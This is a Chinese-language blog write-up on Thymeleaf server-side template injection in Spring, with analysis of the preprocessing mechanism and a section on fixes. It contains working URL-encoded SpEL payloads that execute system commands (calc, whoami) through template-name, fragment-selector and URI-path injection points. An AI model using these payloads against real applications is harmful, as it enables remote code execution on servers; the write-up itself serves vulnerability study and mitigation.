thymeleaf-ssti

基础知识

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

只要没有选定的对象,美元(${…})和星号(*{...})的语法就完全一样

#{}用来读取配置文件中的数据(通常是.properties文件)

片段表达式~{...}可以用于引用公共的目标片段,比如可以在一个template/footer.html中定义下面的片段,并在另一个template中引用。

<div th:fragment="copy">
      © 2011 The Good Thymes Virtual Grocery
    </div>


<div th:insert="~{footer :: copy}"></div>
  1. **{templatename::selector}**,会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment,如上面的`{footer :: copy}`
  2. **~{templatename}**,引用整个templatename模版文件作为fragment
  3. **~{::selector} 或 ~{this::selector}**,引用来自同一模版文件名为selectorfragmnt

预处理

语法:__${expression}__

官方文档对其的解释:

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

image-20240113210856432

漏洞复现

我这里使用 spring-view-manipulation 项目来做漏洞复现。

templatename (有返回值的情况)

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

要有返回值的路由才能获取ModelAndView对象

POC

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

事实上因为最后都会拼接"/welcome",所以下面这样即可

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::

漏洞原理

当视图名中包含::会执行下面的代码。

fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");

StandardExpressionParser#parseExpression中会通过preprocess进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_提取__xx__间的内容,获取expression并执行execute方法。

最后通过SPEL执行表达式

所以__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__就没有问题,然后在语句前或后加上::即可

但这里要注意若是执行像calc这样的命令,::的位置确实是无关紧要,但若是要执行whoami这样有回显的命令的话,::必须要放在语句的后面,具体原因往下看

然后在renderFragment渲染的过程中,存在如下代码。

  • 当TemplateName中不包含::则将viewTemplateName赋值给templateName
  • 如果包含::则代表是一个片段表达式,则需要解析templateNamemarkupSelectors

当viewTemplateName为welcome :: header则会将welcome解析为templateName,将header解析为markupSelectors。

根据调试会知道最后会会显的是templateName,所以::必须要放在语句的后面

image-20240113215849440

image-20240113215909731

0x02 selector

Contorller :可控点变为了selector位置

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

已经设置好了 ::的位置

POC

若是calc的话直接即可,不需要::.

fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

若是需要回显的话

要使用./结尾才能回显出报错页面看到结果

fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__.

URI PATH (无返回值的情况)

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

按理说没有返回值ModelAndView应该为空,但实际上DispatcherServlet#doDispatch中,获取ModleAndView后还会执行applyDefaultViewName方法

applyDefaultViewName中判断当ModelAndView为空,则通过getDefaultViewName
获取请求路径作为ViewName

POC

有回显

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::x.x

若是执行calc这种

只需要一个.即可

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.

无回显payload情况

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

StandardExpressionParser#parseExpression,在preprocess预处理结束后还会通过Expression.parse进行一次解析,这里如果解析失败则不会回显。

下断点可以看到::后没有内容,因此这里肯定是会失败的

但是我们在错误POC中也设置了::.x为什么会被去掉呢?

transformPath中通过stripFilenameExtension去除后缀,是这部分导致了.x后内容为空。

因此我们只需要在.之前加入任意数据即可

image-20240113224112607

image-20240113205602726

漏洞修复

配置ResponseBody或RestController注解

@GetMapping("/doc/{document}")
    @ResponseBody
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

通过redirect:

根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

所以配置redirect:主要影响的是获取视图的部分。在ThymeleafViewResolver#createView中,如果视图名以redirect:开头,则会创建RedirectView并返回。所以不会使用ThymeleafView解析。

方法参数中设置HttpServletResponse 参数

@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
    }

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。

声明下 这种方式只对返回值为空的情况下有效,对有返回值的情况没有作用

finally

上文所述的回显原理以及预处理表达式的相关问题同样适用于 2.x 版本

其实也就懂了一点分析流程,对于那些具体的templateName和selector仍然是没有理解,唉。。。

分析流程看参考文章里的吧,自己也不知道怎么写

reference

https://xz.aliyun.com/t/10514

https://xz.aliyun.com/t/9826

https://www.anquanke.com/post/id/254519

https://www.cnpanda.net/sec/1063.html

https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/


thymeleaf-ssti
https://zer0peach.github.io/2024/01/12/thymeleaf-ssti/
作者
Zer0peach
发布于
2024年1月12日
许可协议